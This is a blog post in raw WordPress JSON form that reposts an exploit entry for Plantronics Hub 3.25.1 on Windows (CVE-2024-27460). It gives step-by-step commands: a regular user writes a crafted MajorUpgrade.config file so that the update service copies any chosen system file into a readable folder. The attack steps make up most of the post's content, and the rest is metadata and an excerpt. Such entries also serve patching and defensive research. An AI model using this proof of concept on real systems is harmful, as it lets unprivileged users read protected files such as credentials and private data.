# Exploit Title: Plantronics Hub 3.25.1 \u2013 Arbitrary File Read
# Date: 2024-05-10
# Exploit Author: Farid Zerrouk from Deloitte Belgium, Alaa Kachouh from
Mastercard
# Vendor Homepage:
https:\/\/support.hp.com\/us-en\/document\/ish_9869257-9869285-16\/hpsbpy03895
# Version: Plantronics Hub for Windows version 3.25.1
# Tested on: Windows 10\/11
# CVE : CVE-2024-27460<\/p>\n
As a regular user drop a file called “MajorUpgrade.config” inside the
“C:\\ProgramData\\Plantronics\\Spokes3G” directory. The content of
MajorUpgrade.config should look like the following one liner:
^|^|<FULL-PATH-TO-YOUR-DESIRED-FILE>^|> MajorUpgrade.config<\/p>\n
Exchange <FULL-PATH-TO-YOUR-DESIRED-FILE> with a desired file to read\/copy
(any file on the system). The desired file will be copied into C:\\Program
Files (x86)\\Plantronics\\Spokes3G\\UpdateServiceTemp<\/p>\n
Steps to reproduce (POC):
– Open cmd.exe
– Navigate using cd C:\\ProgramData\\Plantronics\\Spokes3G
– echo ^|^|<FULL-PATH-TO-YOUR-DESIRED-FILE>^|> MajorUpgrade.config
– Desired file will be copied into C:\\Program Files
(x86)\\Plantronics\\Spokes3G\\UpdateServiceTemp<\/p>\n","protected":false},"excerpt":{"rendered":"
# Exploit Title: Plantronics Hub 3.25.1 \u2013 Arbitrary File Read# Date: 2024-05-10# Exploit Author: Farid Zerrouk from Deloitte Belgium, Alaa Kachouh fromMastercard# Vendor Homepage:https:\/\/support.hp.com\/us-en\/document\/ish_9869257-9869285-16\/hpsbpy03895# Version: Plantronics Hub for Windows version 3.25.1# Tested on: Windows 10\/11# CVE : CVE-2024-27460 As a regular user drop a file called “MajorUpgrade.config” inside the“C:\\ProgramData\\Plantronics\\Spokes3G” directory. The content ofMajorUpgrade.config should look …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-56833","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56833","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=56833"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56833\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=56833"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=56833"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=56833"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}